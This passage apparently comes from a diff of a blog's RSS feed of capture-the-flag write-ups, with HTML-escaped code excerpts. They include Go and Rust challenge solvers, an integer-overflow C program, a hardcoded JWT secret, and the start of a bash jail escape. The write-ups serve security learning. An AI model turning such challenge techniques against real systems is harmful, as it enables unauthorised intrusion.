&lt;a href="https://en.wikipedia.org/wiki/Visual_cryptography"&gt;visual cryptography&lt;/a&gt;, it appears
@@ -50,17 +50,17 @@ given 2 seconds to SHA512 hash the message represented by the binary provided
string. We must send the response with the request parameter &lt;code&gt;r&lt;/code&gt;. Let&amp;rsquo;s write
a go program to do that.&lt;/p&gt;
&lt;p&gt;First let&amp;rsquo;s declare the url as a constant.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10014/&amp;#34;&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10014/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We fetch the challenge page and defer closing its body once the program ends.&lt;/p&gt;</description></item><item><title>Hash Me Please</title><link>https://lavafroth.is-a.dev/post/r0-hash-me-please/</link><pubDate>Fri, 19 Aug 2022 09:57:00 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/r0-hash-me-please/</guid><description>&lt;p&gt;In this RingZer0 challenge, we are asked to visit
&lt;a href="http://challenges.ringzer0team.com:10013/"&gt;http://challenges.ringzer0team.com:10013/&lt;/a&gt; and are given 2 seconds to hash the
provided message using the SHA512 algorithm. We must send the response as
&lt;a href="http://challenges.ringzer0team.com:10013/?r=response"&gt;http://challenges.ringzer0team.com:10013/?r=&lt;em&gt;response&lt;/em&gt;&lt;/a&gt;
and to do that, we&amp;rsquo;ll be using some Golang.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s declare the URI as a constant.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10013/&amp;#34;&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10013/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We fetch the challenge page using the &lt;code&gt;Get&lt;/code&gt; function from the &lt;code&gt;http&lt;/code&gt; standard
library, checking for errors along the way.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;resp&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;:=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;http&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Get&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt;)
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;resp&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;:=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;http&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Get&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Fatalln&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;err&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}

View File

@@ -19,12 +19,12 @@ the last branch which returns instead of calling the decryption subroutine.&lt;/
&lt;p&gt;I found some hex in a file called fleg, but Im not sure how its encoded. Im pretty sure its some kind of xor…&lt;/p&gt;
&lt;h1 id="exploration"&gt;Exploration&lt;/h1&gt;
&lt;p&gt;We begin by creating a new rust project.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo new amateurs
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo new amateurs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd amateurs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo add hex
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo add itertools
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s decode the hexadecimal contents of the file using the following Rust code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;() -&amp;gt; Result&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;(), Box&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;dyn&lt;/span&gt; std::error::Error&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt; {
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;() -&amp;gt; Result&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;(), Box&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;dyn&lt;/span&gt; std::error::Error&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; bytes &lt;span style="color:#f92672"&gt;=&lt;/span&gt; hex::decode(&lt;span style="color:#e6db74"&gt;&amp;#34;610c6115651072014317463d73127613732c73036102653a6217742b701c61086e1a651d742b69075f2f6c0d69075f2c690e681c5f673604650364023944&amp;#34;&lt;/span&gt;)&lt;span style="color:#f92672"&gt;?&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; stream &lt;span style="color:#f92672"&gt;=&lt;/span&gt; String::from_utf8_lossy(&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;bytes);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;println!&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{:?}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;, stream);
@@ -39,7 +39,7 @@ reference meant.&lt;/p&gt;
&lt;p&gt;In the list of functions under the Symbol Tree, we can navigate to the &lt;code&gt;entry&lt;/code&gt; function which looks like:&lt;/p&gt;</description></item><item><title>Waiting an Eternity</title><link>https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/</link><pubDate>Wed, 19 Jul 2023 07:53:17 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/</guid><description>&lt;p&gt;This was a fairly straightforward and fun challenge that required a bit of common sense to solve.
We are given the URL &lt;a href="https://waiting-an-eternity.amt.rs"&gt;https://waiting-an-eternity.amt.rs&lt;/a&gt; to begin with.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s use &lt;code&gt;curl&lt;/code&gt; with its verbose flag to fetch this URL.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -v &lt;span style="color:#e6db74"&gt;&amp;#34;https://waiting-an-eternity.amt.rs&amp;#34;&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -v &lt;span style="color:#e6db74"&gt;&amp;#34;https://waiting-an-eternity.amt.rs&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We get a response that tells us to wait an enternity.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt; GET / HTTP/2
&amp;gt; Host: waiting-an-eternity.amt.rs
@@ -57,7 +57,7 @@ We are given the URL &lt;a href="https://waiting-an-eternity.amt.rs"&gt;https://
just wait an eternity
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On closer inspection, the refresh header with the gigantic number sticks out like a sore thumb.&lt;/p&gt;</description></item><item><title>Twosum</title><link>https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/</link><pubDate>Mon, 10 Apr 2023 08:44:28 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-binary-exploitation-twosum/</guid><description>&lt;p&gt;This is a rather simple binary exploitation challenge. We are given the following source
code for the program running on the remote server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;addIntOvf&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; result, &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; a, &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; b) {
@@ -114,7 +114,7 @@ the second. Adding them would cause the result to wrap around and become negativ
We are also given the source code of the application.&lt;/p&gt;
&lt;p&gt;Taking a look at the &lt;code&gt;src/main/java/io/github/nandandesai/pico/security&lt;/code&gt; subdirectory of the project, we see that it uses JWT.&lt;/p&gt;
&lt;p&gt;Interestingly, the file &lt;code&gt;SecretGenerator.java&lt;/code&gt; in the aforementioned directory contains a weak hardcoded &lt;em&gt;&amp;ldquo;random&amp;rdquo;&lt;/em&gt; value 😱.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@Service&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@Service&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;SecretGenerator&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; Logger logger &lt;span style="color:#f92672"&gt;=&lt;/span&gt; LoggerFactory.&lt;span style="color:#a6e22e"&gt;getLogger&lt;/span&gt;(SecretGenerator.&lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;final&lt;/span&gt; String SERVER_SECRET_FILENAME &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;server_secret.txt&amp;#34;&lt;/span&gt;;
@@ -150,7 +150,7 @@ We are also given the source code of the application.&lt;/p&gt;
going to be client side. We are asked to visit the &lt;a href="http://jupiter.challenges.picoctf.org:42899/"&gt;challenge
page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;From here, we can view the source code of the page.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;jquery-3.3.1.min.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
@@ -202,7 +202,7 @@ about.&lt;/p&gt;
&lt;a href="http://mercury.picoctf.net:60022/index.html"&gt;http://mercury.picoctf.net:60022/index.html&lt;/a&gt;
where we find a simple textbox prompting us to submit the flag.&lt;/p&gt;
&lt;p&gt;Looking at the page source by pressing &lt;code&gt;ctrl&lt;/code&gt; &lt;code&gt;u&lt;/code&gt;, we see that it is sourcing javascript code from &lt;code&gt;rTEuOmSfG3.js&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;rTEuOmSfG3.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;rTEuOmSfG3.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;While examining the javascript, we will notice that it is obfuscated and
packed. Put this through &lt;a href="https://lelinhtinh.github.io/de4js/"&gt;de4js&lt;/a&gt; to
prettify it.&lt;/p&gt;</description></item><item><title>Kringlecon 2022 Writeup</title><link>https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/</link><pubDate>Mon, 09 Jan 2023 10:36:35 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/kringlecon-2022-writeup/</guid><description>&lt;p&gt;This writeup is rather haphazard as I jumped around from one place to another
@@ -212,7 +212,7 @@ before diving in.&lt;/p&gt;
&lt;h3 id="clone-with-a-difference"&gt;Clone with a Difference&lt;/h3&gt;
&lt;p&gt;This challenge wants us to clone a git repository. It&amp;rsquo;s using git with ssh for
cloning which doesn&amp;rsquo;t seem to work.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git clone git@haugfactory.com:asnowball/aws_scripts.git
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can clone this the HTTPS way:&lt;/p&gt;</description></item><item><title>Pixelated</title><link>https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/</link><pubDate>Tue, 22 Nov 2022 09:25:20 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/picoctf-cryptography-pixelated/</guid><description>&lt;p&gt;This challenge gives use two images and asks us if we can make a flag out of them.
At first glance, both the images look like noise. Upon a quick web lookup of
&lt;a href="https://en.wikipedia.org/wiki/Visual_cryptography"&gt;visual cryptography&lt;/a&gt;, it appears
@@ -232,23 +232,23 @@ given 2 seconds to SHA512 hash the message represented by the binary provided
string. We must send the response with the request parameter &lt;code&gt;r&lt;/code&gt;. Let&amp;rsquo;s write
a go program to do that.&lt;/p&gt;
&lt;p&gt;First let&amp;rsquo;s declare the url as a constant.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10014/&amp;#34;&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10014/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We fetch the challenge page and defer closing its body once the program ends.&lt;/p&gt;</description></item><item><title>Hash Me Please</title><link>https://lavafroth.is-a.dev/post/r0-hash-me-please/</link><pubDate>Fri, 19 Aug 2022 09:57:00 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/r0-hash-me-please/</guid><description>&lt;p&gt;In this RingZer0 challenge, we are asked to visit
&lt;a href="http://challenges.ringzer0team.com:10013/"&gt;http://challenges.ringzer0team.com:10013/&lt;/a&gt; and are given 2 seconds to hash the
provided message using the SHA512 algorithm. We must send the response as
&lt;a href="http://challenges.ringzer0team.com:10013/?r=response"&gt;http://challenges.ringzer0team.com:10013/?r=&lt;em&gt;response&lt;/em&gt;&lt;/a&gt;
and to do that, we&amp;rsquo;ll be using some Golang.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s declare the URI as a constant.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10013/&amp;#34;&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt; = &lt;span style="color:#e6db74"&gt;&amp;#34;http://challenges.ringzer0team.com:10013/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We fetch the challenge page using the &lt;code&gt;Get&lt;/code&gt; function from the &lt;code&gt;http&lt;/code&gt; standard
library, checking for errors along the way.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;resp&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;:=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;http&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Get&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt;)
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;resp&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;:=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;http&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Get&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;uri&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;err&lt;/span&gt; &lt;span style="color:#f92672"&gt;!=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Fatalln&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;err&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We defer closing the response body when the program ends.&lt;/p&gt;</description></item><item><title>Bash Jail 3</title><link>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/</link><pubDate>Sun, 24 Jul 2022 12:29:56 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/ringzer0ctf-bash-jail3/</guid><description>&lt;h1 id="the-challenge"&gt;The challenge&lt;/h1&gt;
&lt;p&gt;Logging into the box we are told that the flag is located at &lt;code&gt;/home/level3/flag.txt&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; check_space &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
